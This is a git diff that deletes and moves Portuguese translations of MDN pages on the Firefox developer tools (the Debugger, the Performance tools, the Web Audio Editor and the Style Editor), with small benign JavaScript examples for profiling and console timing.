diff --git a/files/pt-pt/tools/debugger/how_to/abrir_o_depurador/index.html b/files/pt-pt/tools/debugger/how_to/abrir_o_depurador/index.html deleted file mode 100644 index c7e9842588..0000000000 --- a/files/pt-pt/tools/debugger/how_to/abrir_o_depurador/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Abrir o depurador -slug: Tools/Debugger/How_to/Abrir_o_depurador -translation_of: Tools/Debugger/How_to/Open_the_debugger ---- -
{{ToolsSidebar}}
- -

Existem três maneiras para abrir o depurador:

- - - -

{{EmbedYouTube("yI5SlVQiZtI")}}

diff --git a/files/pt-pt/tools/debugger/how_to/open_the_debugger/index.html b/files/pt-pt/tools/debugger/how_to/open_the_debugger/index.html new file mode 100644 index 0000000000..c7e9842588 --- /dev/null +++ b/files/pt-pt/tools/debugger/how_to/open_the_debugger/index.html @@ -0,0 +1,18 @@ +--- +title: Abrir o depurador +slug: Tools/Debugger/How_to/Abrir_o_depurador +translation_of: Tools/Debugger/How_to/Open_the_debugger +--- +
{{ToolsSidebar}}
+ +

Existem três maneiras para abrir o depurador:

+ + + +

{{EmbedYouTube("yI5SlVQiZtI")}}

diff --git a/files/pt-pt/tools/debugger/ui_tour/index.html b/files/pt-pt/tools/debugger/ui_tour/index.html new file mode 100644 index 0000000000..9402c890b7 --- /dev/null +++ b/files/pt-pt/tools/debugger/ui_tour/index.html @@ -0,0 +1,94 @@ +--- +title: Demonstração da IU +slug: Tools/Debugger/Demonstracao_IU +translation_of: Tools/Debugger/UI_Tour +--- +
{{ToolsSidebar}}

Este artigo é uma demonstração rápida das secções principais da interface do utilizador do 'Depurador de JavaScript'. A IU está dividida verticalmente em 3 painéis:

+ + + +

+ +

Painel da lista fonte

+ +

The source list pane lists all the JavaScript source files loaded into the page, and enables you to select one to debug. At the top level sources are organized by origin, and under that they're organized by the directory structure from which they are served.

+ +

+ +

You can search for a file using Ctrl + P (Cmd + P on a Mac).

+ +

Painel fonte

+ +

This shows the JavaScript file currently loaded.

+ +

When the source pane is focused you can search for a string in the file using Ctrl + F (Cmd + F on a Mac).

+ +

Breakpoints have a blue arrow overlaid on the line number. Conditional breakpoints have an orange arrow. If you're stopped at a breakpoint, the entire line gets a green overlay. In the screenshot below there are three breakpoints:

+ + + +

+ +

Barra de Ferramentas

+ +

No topo do painel à direita, existe uma barra de ferramentas:

+ +

+ +

A barra de ferramentas consiste em:

+ + + +

+ +

Lista de ponstos de quebra

+ +

Under the toolbar, you'll see all the breakpoints you've set. Next to each breakpoint is a checkbox which you can use to enable/disable it:

+ +

+ +

 

+ +

 

+ +

Call stack

+ +

 

+ +

 

+ +

When the debugger's paused, you'll see a call stack:

+ +

Each level of the call stack gets a line, with the name of the function and the filename and line number. Clicking the line opens that source in the source pane.

+ +

Scopes

+ +

In the right-hand pane you'll see a label "Scopes" with a disclosure arrow next to it. When the debugger's paused, you'll be able to expand this section to see all objects that are in scope at this point in the program:

+ +

Objects are organized by scope: the most local appears first, and the global scope (Window, in the case of page scripts) appears last.

diff --git a/files/pt-pt/tools/desempenho/arvore_de_chamada/index.html b/files/pt-pt/tools/desempenho/arvore_de_chamada/index.html deleted file mode 100644 index d5b2dd2d7f..0000000000 --- a/files/pt-pt/tools/desempenho/arvore_de_chamada/index.html +++ /dev/null @@ -1,193 +0,0 @@ ---- -title: Arvóre de Chamada -slug: Tools/Desempenho/Arvore_de_Chamada -tags: - - Desempenho - - JavaScript - - memoria -translation_of: Tools/Performance/Call_Tree ---- -
{{ToolsSidebar}}
-

A 'Árvore de Chamada' (Call Tree) diz-lhe quais as funções de JavaScript que o navegador gastou mais tempo. Ao analisar os resultados, pode encontrar estrangulamentos no seu código - locais onde o navegador está a gastar uma quantidade desproporcionalmente grande de tempo.

- -

Estes estrangulamentos são locais onde quaisquer otimizações que pode fazer irão ter um grande impacto.

-
- -

The Call Tree is a sampling profiler. It periodically samples the state of the JavaScript engine and records the stack for the code executing at the time. Statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser spent executing it.

- -
-

In this article, we'll use the output of a simple program as an example. If you want to get the program to experiment with your profile, you can find it here. You can find the specific profile we discuss here - just import it to the performance tool to follow along.

- -

There's a short page describing the structure of this program here.

- -

Note that we use the same program - the same profile, in fact - in the documentation page for the Flame Chart.

-
- -

The screenshot below shows the output of a program that compares three sorting algorithms - bubble sort, selection sort, and quicksort. To do this, it generates some arrays filled with random integers and sorts them using each algorithm in turn.

- -

We've zoomed into the part of the recording that shows a long JavaScript marker:

- -

- -

The Call Tree presents the results in a table. Each row represents a function in which at least one sample was taken, and the rows are ordered by the number of samples taken while in that function, highest to lowest.

- -

Samples is the number of samples that were taken when we were executing this particular function.

- -

Self Cost is that number as a percentage of the total number of samples in the selected portion of the recording.

- -

Self Time is that number translated into milliseconds, based on the total amount of time covered by the selected portion of the recording.

- -

In the current version of the Call Tree, these are the most important columns. Functions with a relatively high Self Cost are good candidates for optimization, either because they take a long time to run, or because they are called very often.

- -

This screenshot tells us something we probably already knew: Bubble sort is a very inefficient algorithm. We have about six times as many samples in bubble sort as in selection sort, and 13 times as many as in quicksort.

- -

Mover-se na árvore de chamada

- -

Next to each function name is a disclosure arrow: Click that, and you can see the path back up the call tree, from the function in which the sample was taken, to the root. For example, we can expand the entry for bubbleSort():

- -

- -

So we can see the call graph is like this:

- -
sortAll()
-
-    -> sort()
-
-        -> bubbleSort()
- -

Note also that Self Cost for sort() here is 1.45%, and note that this is the same as for the separate entry for sort() later in the list. This is telling us that some samples were taken in sort() itself, rather than in the functions it calls.

- -

Sometimes there's more than one path back from an entry to the top level. Let's expand the entry for swap():

- -

- -

There were 253 samples taken inside swap(). But swap() was reached by two different paths: both bubbleSort() and selectionSort() use it. We can also see that 252 of the 253 samples in swap() were taken in the bubbleSort() branch, and only one in the selectionSort() branch.

- -

This result means that bubble sort is even less efficient than we had thought! It can shoulder the blame for another 252 samples, or almost another 10% of the total cost.

- -

With this kind of digging, we can figure out the whole call graph, with associated sample count:

- -
sortAll()                         //    8
-
-    -> sort()                     //   37
-
-        -> bubbleSort()           // 1345
-
-            -> swap()             //  252
-
-        -> selectionSort()        //  190
-
-            -> swap()             //    1
-
-        -> quickSort()            //  103
-
-            -> partition()        //   12
- -

Dados da plataforma

- -

You'll also see some rows labeled Gecko, Input & Events, and so on. These represent internal browser calls.

- -

This can be useful information too. If your site is making the browser work hard, this might not show up as samples recorded in your code, but it is still your problem.

- -

In our example, there are 679 samples assigned to Gecko - the second-largest group after bubbleSort(). Let's expand that:

- -

- -

This result is telling us that 614 of those samples, or about 20% of the total cost, are coming from our sort() call. If we look at the code for sort(), it should be fairly obvious that the high platform data cost is coming from repeated calls to console.log():

- -
function sort(unsorted) {
-  console.log(bubbleSort(unsorted));
-  console.log(selectionSort(unsorted));
-  console.log(quickSort(unsorted));
-}
- -

It would certainly be worthwhile considering more efficient ways of implementing this.

- -

One thing to be aware of here is that idle time is classified as Gecko, so parts of your profile where your JavaScript isn't running will contribute Gecko samples. These aren't relevant to the performance of your site.

- -
-

By default, the Call Tree doesn't split platform data out into separate functions, because they add a great deal of noise, and the details are not likely to be useful to people not working on Firefox. If you want to see the details, check "Show Gecko Platform Data" in the Settings.

-
- -
- - - - - -
diff --git a/files/pt-pt/tools/desempenho/cascata/index.html b/files/pt-pt/tools/desempenho/cascata/index.html deleted file mode 100644 index 3977d5d088..0000000000 --- a/files/pt-pt/tools/desempenho/cascata/index.html +++ /dev/null @@ -1,563 +0,0 @@ ---- -title: Cascata -slug: Tools/Desempenho/Cascata -translation_of: Tools/Performance/Waterfall ---- -
{{ToolsSidebar}}
-

A 'Cascata' (Waterfall) mostra-lhe várias coisas que o navegador está a fazer na medida em que este excecuta o seu site ou aplicação. É baseado na ideia de que as coisas que o navegador faz quando executa um site pode ser dividido em vários tipos - executar JavaScript, atualizar a disposição, etc... - e que em qualquer ponto no tempo, o navegador está a fazer essas coisas.

- -

Assim, se vir um sinal de um problema de desempenho - uma quebra na frame rate, por exemplo - pode ir para a 'Cascata' para ver o que o navegador estava a fazer nesse ponto da gravação.

-
- -

- -

Along the X-axis is time. Recorded operations, called markers, are shown as horizontal bars, laid out in a waterfall to reflect the serial nature of the browser's execution.

- -

When a marker is selected you'll see more information about it in a sidebar on the right. This includes the marker's duration and some more information that's specific to the marker type.

- -

Marcadores

- -

The markers for operations are color-coded and labeled. The following operations are recorded:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome e descriçãoCorInformação detalhada
-

DOM Event

- -

JavaScript code that's executed in response to a DOM event.

-
-
-
Event Type
-
For example, "click" or "message".
-
- -
-
Event Phase
-
For example, "Target" or "Capture".
-
-
-

JavaScript functions executed in the page are labeled with the reason the function was called:

- -

Script Tag
- setInterval
- setTimeout
- requestAnimationFrame
- Promise Callback
- Promise Init
- Worker
- JavaScript URI
- Event Handler

-
-
-
Stack
-
Call stack, with links to functions.
-
-
-

Analisar HTML

- -

Time spent parsing the page's HTML.

-
-
-
Stack
-
Call stack, with links to functions.
-
-
-

Analisar XML

- -

Time spent parsing the page's XML.

-
-
-
Stack
-
Call stack, with links to functions.
-
-
-

Recalcular Estilo

- -

Calculating the computed styles that apply to page elements.

-
-
-
Restyle Hint
-
A string indicating what kind of restyling is needed. The hint may be any of:
- Self
- Subtree
- LaterSiblings
- CSSTransitions
- CSSAnimations
- SVGAttrAnimations
- StyleAttribute
- StyleAttribute_Animations
- Force
- ForceDescendants
-
-
-

Disposição (Layout)

- -

Calculating the position and size of page elements. This operation is sometimes called "reflow".

-
 
-

Pintura

- -

Desenhar píxeis para o ecrã.

-
 
-

Coleção de Lixo

- -

Garbage collection event. Non-incremental GC events are labeled "(Non-incremental)".

-
-
-
Motivo
-
A string the indicating the reason GC was performed.
-
Motivo Não Incremental
-
If the GC event was non-incremental, the string indicates the reason non-incremental GC was performed.
-
- -
-

New in Firefox 46: if the GC event was caused by allocation pressure, a link appears, labeled "Show Allocation Triggers". Click the link to see the allocation profile leading up to this GC event.

- -

See Allocations and Garbage Collection for more details.

-
-
-

Ciclo da Coleção

- -

Reclaiming C++ reference-counted data structures.

- -

Like garbage collection, but for C++ objects. See Kyle Huey's blog post about cycle collection.

-
-
-
Tipo
-
Always "Collect".
-
-
-

CC - Reduçãod e Gráfico

- -

Preparation/pre-optimization for Cycle Collection.

-
-
-
Tipo
-
Always "ForgetSkippable".
-
-
-

Consola

- -

The period between matching calls to console.time() and console.timeEnd().

-
-
-
Nome do temporizador
-
The argument passed to the console functions.
-
Stack at start
-
Call stack console.time(), with links to functions.
-
Stack at End
-
(New in Firefox 41). Call stack at console.timeEnd(). If this is inside a callback from a Promise, this will also show the "Async stack".
-
-
-

Data/Hora

- -

A single call to console.timeStamp().

-
-
-
Etiqueta
-
The argument passed to timeStamp().
-
-
-

DOM - Conteúdo Carregado

- -

The document's DOMContentLoaded event.

-
 
-

Carregamento

- -

The document's load event.

-
 
-

Worker event in main thread

- -

Shown when the main thread sends a message to a worker, or receives a message from a worker.

-
-

One of:

- -
-
Serialize data on the main thread
-
The main thread is serializing a message to be sent to the worker.
-
Deserialize data on the main thread
-
The main thread is deserializing a message received from the worker.
-
-
-

Worker event in worker thread

- -

Shown when a worker receives a message from the main thread, or sends a message to the main thread.

-
-

One of:

- -
-
Serialize data in Worker
-
The worker is serializing a message to be sent to the main thread.
-
Deserialize data in Worker
-
The worker is deserializing a message received from the main thread.
-
-
- -

The markers, and their colors, are the same in the Waterfall tool as in the Waterfall overview, making is easy to correlate from one to the other.

- -

Filtrar marcadores

- -

You can control which markers are displayed using a button in the Toolbar:

- -

- -

Padrões de cascata

- -

Exactly what you'll see in the Waterfall is very dependent on the kind of thing your site is doing: JavaScript-heavy sites will have a lot of orange, while visually dynamic sites will have a lot of purple and green. But there are common patterns which can alert you to possible performance problems.

- -

Renderizar cascata

- -

One pattern that you'll often see in the Waterfall view is something like this:

- -

- -

This is a visualization of the basic algorithm the browser uses to update the page in response to some event:

- -
    -
  1. JavaScript Function Call: some event - for example, a DOM event - causes some JavaScript in the page to run. The JavaScript changes some of the page's DOM or CSSOM.
  2. -
  3. Recalculate Style: if the browser thinks the computed styles for page elements have changed, it must then recalculate them.
  4. -
  5. Layout: next, the browser uses the computed styles to figure out the position and geometry for the elements. This operation is labeled "layout" but is also sometimes called "reflow".
  6. -
  7. Paint: finally, the browser needs to repaint the elements to the screen. One last step is not shown in this sequence: the page may be split into layers, which are painted independently and then combined in a process called "Composition".
  8. -
- -

This sequence needs to fit into a single frame, since the screen isn't updated until it is complete. It's commonly accepted that 60 frames per second is the rate at which animations will appear smooth. For a rate of 60 frames per second, that gives the browser 16.7 milliseconds to execute the complete flow.

- -

Importantly for responsiveness, the browser doesn't always have to go through every step:

- - - -

The Animating CSS properties article shows how animating different CSS properties can give different performance outcomes, and how the Waterfall can help signal that.

- -

Bloquear JavaScript

- -

By default, a site's JavaScript is executed in the same thread that the browser uses for layout updates, repaints, DOM events, and so on. This means that long-running JavaScript functions can cause unresponsiveness (jank): animations may not be smooth, or the site might even freeze.

- -

Using the frame rate tool and the Waterfall together, it's easy to see when long-running JavaScript is causing responsiveness problems. In the screenshot below, we've zoomed in on a JS function that's caused a drop in the frame rate:

- -

- -

The Intensive JavaScript article shows how the Waterfall can highlight responsiveness problems caused by long JavaScript functions, and how you can use asynchronous methods to keep the main thread responsive.

- -

Pinturas dispendiosas

- -

Some paint effects, such as box-shadow, can be expensive, especially if you are applying them in a transition where the browser has to calculate them in every frame. If you're seeing drops in the frame rate, especially during graphically-intensive operations and transitions, check the Waterfall for long green markers.

- -

Coleção de lixo

- -

Red markers in the Waterfall represent garbage collection (GC) events, in which SpiderMonkey (the JavaScript engine in Firefox) walks the heap looking for memory that's no longer reachable and subsequently releasing it. GC is relevant to performance because while it's running the JavaScript engine must be paused, so your program is suspended and will be completely unresponsive.

- -

To help reduce the length of pauses, SpiderMonkey implements incremental GC: this means that it can perform garbage collection in fairly small increments, letting the program run in between. Sometimes, though, it needs to perform a full non-incremental collection, and the program has to wait for it to finish.

- - - -

In trying to avoid GC events, and especially non-incremental GC events, it's wise not to try to optimize for the specific implementation of the JavaScript engine. SpiderMonkey uses a complex set of heuristics to determine when GC is needed, and when non-incremental GC in particular is needed. In general, though:

- - - -

When the Waterfall records a GC marker it indicates:

- - - -

Adicionar marcadores com a API da consola

- -

Two markers are directly controlled by console API calls: "Console" and "Timestamp".

- -

Marcadores da consola

- -

These enable you to mark a specific section of the recording.

- -

To make a console marker, call console.time() at the start of the section, and console.timeEnd() at the end. These functions take an argument which is used to name the section.

- -

For example, suppose we have code like this:

- -
var iterations = 70;
-var multiplier = 1000000000;
-
-function calculatePrimes() {
-
-  console.time("calculating...");
-
-  var primes = [];
-  for (var i = 0; i < iterations; i++) {
-    var candidate = i * (multiplier * Math.random());
-    var isPrime = true;
-    for (var c = 2; c <= Math.sqrt(candidate); ++c) {
-      if (candidate % c === 0) {
-          // not prime
-          isPrime = false;
-          break;
-       }
-    }
-    if (isPrime) {
-      primes.push(candidate);
-    }
-  }
-
-  console.timeEnd("calculating...");
-
-  return primes;
-}
- -

The Waterfall's output will look something like this:

- -

- -

The marker is labeled with the argument you passed to console.time(), and when you select the marker, you can see the program stack in the right-hand sidebar.

- -

Async stack

- -

New in Firefox 41.

- -

Starting in Firefox 41, the right-hand sidebar will also show the stack at the end of the period: that is, at the point console.timeEnd() was called. If console.timeEnd() was called from the resolution of a Promise, it will also display "(Async: Promise)", under which it will show the "async stack": that is, the call stack at the point the promise was made.

- -

For example, consider code like this:

- -
var timerButton = document.getElementById("timer");
-timerButton.addEventListener("click", handleClick, false);
-
-function handleClick() {
-  console.time("timer");
-  runTimer(1000).then(timerFinished);
-}
-
-function timerFinished() {
-  console.timeEnd("timer");
-  console.log("ready!");
-}
-
-function runTimer(t) {
-  return new Promise(function(resolve) {
-    setTimeout(resolve, t);
-  });
-}
- -

The Waterfall will display a marker for the period between time() and timeEnd(), and if you select it, you'll see the async stack in the sidebar:

- -

- -

Marcadores de data/hora

- -

Timestamps enable you to mark an instant in the recording.

- -

To make a timestamp marker, call console.timeStamp(). You can pass an argument to label the timestamp.

- -

For example, suppose we adapt the code above to make a timestamp every 10 iterations of the loop, labeled with the iteration number:

- -
var iterations = 70;
-var multiplier = 1000000000;
-
-function calculatePrimes() {
-  console.time("calculating...");
-
-  var primes = [];
-  for (var i = 0; i < iterations; i++) {
-
-    if (i % 10 == 0) {
-      console.timeStamp(i.toString());
-    }
-
-    var candidate = i * (multiplier * Math.random());
-    var isPrime = true;
-    for (var c = 2; c <= Math.sqrt(candidate); ++c) {
-      if (candidate % c === 0) {
-          // not prime
-          isPrime = false;
-          break;
-       }
-    }
-    if (isPrime) {
-      primes.push(candidate);
-    }
-  }
-  console.timeEnd("calculating...");
-  return primes;
-}
- -

In the Waterfall you'll now see something like this:

- -

- -

 

- -
- - - - - -
diff --git a/files/pt-pt/tools/desempenho/como_fazer/index.html b/files/pt-pt/tools/desempenho/como_fazer/index.html deleted file mode 100644 index f8e7e99d8d..0000000000 --- a/files/pt-pt/tools/desempenho/como_fazer/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Como fazer! -slug: Tools/Desempenho/Como_fazer -translation_of: Tools/Performance/How_to ---- -
{{ToolsSidebar}}
- -

Abrir as ferramentas de «Desempenho»

- -

Para abrir as ferramentas de Desempenho:

- - - -

Gravar um perfil

- -

To start a new recording, press the stopwatch icon in the Recordings pane. To stop, press it again:

- -

- -

You can also start and stop recording from the Web Console, using console.profile() and console.profileEnd().

- -

Guardar um perfil

- -

To save a profile, click the link labeled "Save" in the Recordings pane:

- -

- -

Carregar um perfil

- -

To load a profile, click "Import..." and choose the file:

- -

- -

Limpar todos os perfis carregados

- -

To clear all loaded profiles, click "Clear".

- -
-

If you do this, you'll lose any loaded profiles that you have not saved.

-
- -

- -

Selecionar uma ferramenta

- -

To switch between the Waterfall, Call Tree, and Flame Chart tools, use the buttons in the toolbar:

- -

- -

Configurar marcadores exibidos

- -

To control which markers are shown in the Waterfall, use the button in the toolbar:

- -

- -

Zoom +

- -

To zoom into a slice of the recording, select that slice in the recording overview:

- -

diff --git a/files/pt-pt/tools/desempenho/frame_rate/index.html b/files/pt-pt/tools/desempenho/frame_rate/index.html deleted file mode 100644 index aa1c1c8817..0000000000 --- a/files/pt-pt/tools/desempenho/frame_rate/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Frame rate -slug: Tools/Desempenho/Frame_rate -tags: - - frame rate -translation_of: Tools/Performance/Frame_rate ---- -
{{ToolsSidebar}}
-

Frame rate é uma medida da reação de um site da Web. Uma frame rate baixa ou inconsistente pode fazer com que um site pareça irrespondível ou janky, criando uma má experiência de utilizador.

- -

Uma frame rate de 60 imagens por segundo é o ideal para um desempenho suave, proporcionando-lhe um período de tempo de 16.7ms para todas as atualizações necessária na resposta para algum evento.

- -

O gráfico de frame rate na ferramenta 'Desempenho'  mostra-lhe a frame rate durante o curso de uma gravação. Este dá-lhe uma indicação rápida de onde o seu site poderá estar a ter problemas, permitindo-lhe utilizar as outras ferramentas para uma análise mais aprofundada.

-
- -

Frame rate e resposta

- -

Frame rate is the rate at which a video device can produce images (or frames). It's most familiar from film and gaming, but is now widely used as a performance measure for websites and web apps.

- -

In web performance, a frame encapsulates the work the browser needs to do in order to update and repaint the screen. Frame rate is most obviously applicable to animations: if the frame rate is too low, an animation will have a jerky appearance, while a faster frame rate will be smoother. But frame rate is also useful as a general measure of a site's responsiveness as the user interacts with it.

- -

For example, if moving the mouse over some page element triggers some JavaScript that changes the element's appearance, and that triggers a reflow and a repaint, then all this work needs to be completed in that frame. If it takes too long for the browser to process the frame, then the browser will appear momentarily unresponsive (janky).

- -

Similarly, if scrolling through a page involves a lot of complex page updates and the browser can't keep up an acceptable frame rate, scrolling the page will appear sluggish or will occasionally freeze.

- -

In general, a high and consistent frame rate will make the user's interaction with the site more enjoyable and engaging.

- -
-

A frame rate of 60fps is reckoned to be the target for smooth performance, giving you a time budget of 16.7ms for all the updates that need to be made synchronously in response to some event.

- -

However, consistency is especially important: if you can't deliver 60fps, it's better to deliver lower frame rates more consistently, and avoid sudden dips in the frame rate which cause the site to freeze.

-
- -

Gráfico da frame rate

- -

The frame rate graph is found in the Recording overview part of the Performance tool. It takes a timestamp when the browser finishes a frame, and uses this to keep track of the frame rate over the course of the recording.

- -

The x-axis is time over the profile period, and there are three annotations: the maximum frame rate, the average frame rate, and the lowest frame rate.

- -

Utilização do gráfico de frame rate

- -

The great value of the frame rate graph is that, like the Web Console, it gives you a quick indication of where your site might be having problems, enabling you to use the other tools for more in-depth analysis. For example, here's a screenshot of a performance profile:

- -

- -

You can see that the average frame rate is reasonably healthy, but there are three spots where frame rate collapses for tens of milliseconds. This would certainly cause a noticeable stutter for any animations that were playing in the page.

- -

The frame rate graph is correlated with the waterfall summary directly above it, and there we can see that the first two drops in the frame rate are correlated with orange bars, which denote time spent executing JavaScript.

- -

If we select one of these slices of the recording, the main Waterfall view underneath it is zoomed into it, and we can see the function that's causing the problem:

- -

- -

We have a JavaScript function from a click event that's blocking the main thread for 170 milliseconds.

- -

Which function, though? Switch to the Flame Chart to see the call stack at that point:

- -

- -

The offending function is called doPointlessComputations(), and it's defined in "main.js". To fix it, we might consider splitting it into pieces and running the pieces inside requestAnimationFrame, or even running the entire function in a worker. The Intensive JavaScript article shows how you can use strategies like this to fix responsiveness problems caused by long-running synchronous JavaScript.

diff --git a/files/pt-pt/tools/desempenho/index.html b/files/pt-pt/tools/desempenho/index.html deleted file mode 100644 index 7e5f3cdd2b..0000000000 --- a/files/pt-pt/tools/desempenho/index.html +++ /dev/null @@ -1,185 +0,0 @@ ---- -title: Desempenho -slug: Tools/Desempenho -tags: - - Aprender - - Desempenho - - Desempenho da Web - - Ferramentas de Desenvolvimento - - Ferramentas de Programação -translation_of: Tools/Performance ---- -
{{ToolsSidebar}}
- -

A ferramenta de Desempenho mostra-lhe a resposta geral do seu site, o desempenho da disposição e JavaScript. Com esta ferramenta pode criar um registo, ou perfil, do seu site durante um período do tempo.  A ferramenta depois mostra-lhe uma sinopse das coisas que o navegador esteve a fazer ao renderizar o seu site sob o perfil, e um gráfico da frame rate sob o perfil.

- -

Tem quatro subferramentas para examinar os aspetos do perfil em mais detalhe:

- - - -

{{EmbedYouTube("WBmttwfA_k8")}}

- -
-

Iniciação

- -
-
-
-
Guia da IU
-
-

To find your way around the Performance tool, here's a quick tour of the UI.

-
-
-
- -
-
-
Como fazer!
-
Basic tasks: open the tool, create, save, load, and configure recordings
-
-
-
- -
-

Componentes da ferramenta «Desemepenho»

- -
-
-
-
Frame rate
-
Understand your site's overall responsiveness.
-
Árvore de Chamada
-
Find bottlenecks in your site's JavaScript.
-
Allocations
-
See the allocations made by your code over the course of the recording.
-
-
- -
-
-
Cascata
-
Understand the work the browser's doing as the user interacts with your site.
-
Flame Chart
-
See which JavaScript functions are executing, and when, over the course of the recording.
-
-
-
-
- -
-

Cenários

- -
-
-
-
Animating CSS properties
-
Uses the Waterfall to understand how the browser updates a page, and how animating different CSS properties can affect performance.
-
-
-
- -
-
-
Intensive JavaScript
-
Uses the frame rate and Waterfall tools to highlight performance problems caused by long-running JavaScript, and how using workers can help in this situation.
-
-
-
- - - -
-
-
-
-
- - - -
- - - - - -
diff --git a/files/pt-pt/tools/editor_de_audio_da_web/index.html b/files/pt-pt/tools/editor_de_audio_da_web/index.html deleted file mode 100644 index bdbbd8e9a4..0000000000 --- a/files/pt-pt/tools/editor_de_audio_da_web/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Editor de Áudio da Web -slug: Tools/Editor_de_audio_da_Web -tags: - - API Áudio Web - - Ferramentas - - Firefox - - Mozilla -translation_of: Tools/Web_Audio_Editor ---- -
{{ToolsSidebar}}

With the Web Audio API, developers create an {{domxref ("AudioContext", "audio context")}}. Within that context they then construct a number of {{domxref ("AudioNode", "audio nodes")}}, including:

- - - -

Each node has zero or more {{domxref ("AudioParam")}} properties that configure its operation. For example, the {{domxref ("GainNode")}} has a single gain property, while the {{domxref ("OscillatorNode")}} has frequency and detune properties.

- -

The developer connects the nodes in a graph, and the complete graph defines the behavior of the audio stream.

- -

The Web Audio Editor examines an audio context constructed in the page and provides a visualization of its graph. This gives you a high-level view of its operation, and enables you to ensure that all the nodes are connected in the way you expect. You can then examine and edit the AudioParam properties for each node in the graph. Some non-AudioParam properties, like an OscillatorNode's type property, are displayed, and you can edit these as well.

- -

This tool is still experimental. If you find bugs, we'd love it if you filed them in Bugzilla. If you have feedback or suggestions for new features, dev-developer-tools or Twitter are great places to register them.

- -

Abrir o Editor de Áudio da Web

- -

The Web Audio Editor is not enabled by default in Firefox 32. To enable it, open the Developer Tool Settings and check "Web Audio". Now there should be an extra tab in the Toolbox toolbar labeled "Web Audio". Click the tab and load a page that constructs an audio context. Two good demos are:

- - - -

Visualizar o gráfico

- -

The Web Audio Editor will now display the graph for the loaded audio context. Here's the graph for the Violent Theremin demo:

- -

You can see that it uses three nodes: an {{domxref ("OscillatorNode")}} as the source, a {{domxref ("GainNode")}} to control the volume, and an {{domxref ("GainNode")}} as the destination.

- -

Ligações para Parâmetros de Áudio

- -
-

Displaying connections to AudioParams is new in Firefox 34.

-
- -

As ligações entre os nodos são exibidas como linhas sólidas. Se, em vez disso, ligou um nodo para uma Parâmetro de Áudio em outro nodo, então a ligação é mostrada como uma linha tracejada entre os nodos, e é etiquetada com o nome de 'AudioParam':

- -

Inspecionar e modificar Nodos de Áudio

- -

If you click on a node, it's highlighted and you get a node inspector on the right hand side. This list the values of that node's AudioParam properties. For example, here's what the OscillatorNode looks like:

- -

With the Violent Theremin demo, the frequency parameter is modified as the user moves the mouse left and right, and you can see this reflected in the node inspector. However, the value isn't updated in real time: you have to click the node again to see the updated value.

- -

If you click on a value in the node inspector you can modify it: press Enter or Tab and the new value takes effect immediately.

- -

Ignorar nodos

- -
-

Novo no Firefox 38.

-
- -

In the pane that shows you the node's details, there's an on/off button:

- -

Click it, and the graph will be modified to bypass this node, so it will no longer have any effect. Nodes that are bypassed are shown with a hatched background:

- -

diff --git a/files/pt-pt/tools/editor_de_estilo/index.html b/files/pt-pt/tools/editor_de_estilo/index.html deleted file mode 100644 index 63bb52bba4..0000000000 --- a/files/pt-pt/tools/editor_de_estilo/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Editor de Estilo -slug: Tools/Editor_de_estilo -tags: - - CSS - - Desenvolvimento da Web - - 'Desenvolvimento da Web: Ferramentas' - - Ferramentas - - Folhas de estilo -translation_of: Tools/Style_Editor ---- -
{{ToolsSidebar}}

O Editor de Estilo permite-lhe:

- - - -

{{EmbedYouTube("7839qc55r7o")}}

- -

To open the Style Editor choose the "Style Editor" option from the "Web Developer" menu (which is a submenu in the "Tools" menu on the Mac). The Toolbox will appear at the bottom of the browser window, with the Style Editor activated:

- -

- -

O Editor de Estilo está dividido em três secções principais:

- - - -

O painel de folha de estilo

- -

The style sheet pane, on the left, lists all the style sheets being used by the current document. You can quickly toggle the use of a given sheet on and off by clicking the eyeball icon to the left of the sheet's name. You can save any changes you've made to the style sheet to your local computer by clicking the Save button in the bottom-right corner of each sheet's entry in the list.

- -

From Firefox 40 onwards, the style sheet pane also includes a context menu that lets you open the selected style sheet in a new tab.

- -

O painel do editor

- -

On the right is the editor pane. This is where the source for the selected style sheet is available for you to read and edit. Any changes you make are immediately applied to the page. This makes it easy to experiment with, revise, and test changes. Once you're satisfied with your changes, you can save a copy locally by clicking the Save button on the sheet's entry in the style sheet pane.

- -

The editor provides line numbers and syntax highlighting to help make it easier to read your CSS. It also supports a number of keyboard shortcuts.

- -

The Style Editor automatically de-minimizes style sheets that it detects, without affecting the original. This makes it much easier to work on pages that have been optimized.

- -

The Style Editor supports autocomplete. Just start typing, and it will offer you a list of suggestions.

- -

You can switch autocomplete off in the Style Editor settings.

- -

A barra lateral de multimédia

- -

The Style Editor displays a sidebar on the right-hand side whenever the current sheet contains any @media rules. The sidebar lists the rules and provides a link to the line of the sheet where the rule is defined. Click an item to jump to that rule in the sheet. The condition text of the rule is greyed-out if the media query doesn’t currently apply.

- -

The media sidebar works especially well with Responsive Design View for creating and debugging responsive layouts:

- -

{{EmbedYouTube("aVUXmvLSwoM")}}

- -

From Firefox 46 onwards, if an @media rule contains a screen size in a condition, then it is made clickable: clicking it then resizes the screen to that size using the Responsive Design View:

- -

{{EmbedYouTube("XeocxoW2NYY")}}

- -

Criação e importação das folhas de estilo

- -

You can create a new style sheet by clicking the New button in the toolbar. Then you can just start entering CSS into the new editor and watch as the new styles are applied in real time just like changes to the other sheets.

- -

You can load a style sheet from disk and apply it to the page by clicking the Import button.

- -

Source map support

- -

{{EmbedYouTube("zu2eZbYtEUQ")}}

- -

Web developers often create CSS files using a preprocessor like Sass, Less, or Stylus. These tools generate CSS files from a richer and more expressive syntax. If you do this, being able to see and edit the generated CSS is not so useful, because the code you maintain is the preprocessor syntax, not the generated CSS. So you'd need to edit the generated CSS, then manually work out how to reapply that to the original source.

- -

Source maps enable the tools to map back from the generated CSS to the original syntax, so they can display, and allow you to edit, files in the original syntax. From Firefox 29 onwards, the Style Editor can understand CSS source maps.

- -

This means that if you use, for example, Sass, then the Style Editor will show you, and allow you to edit, Sass files, rather than the CSS that is generated from them:

- -

For this to work, you must:

- - - -

Visualização das fontes originais

- -

Now, if you check "Show original sources" in the Style Editor settings, the links next to CSS rules in the Rules view will link to the original sources in the Style Editor.

- -

From Firefox 35 onwards original sources are displayed by default.

- -

Edição das fontes originais

- -

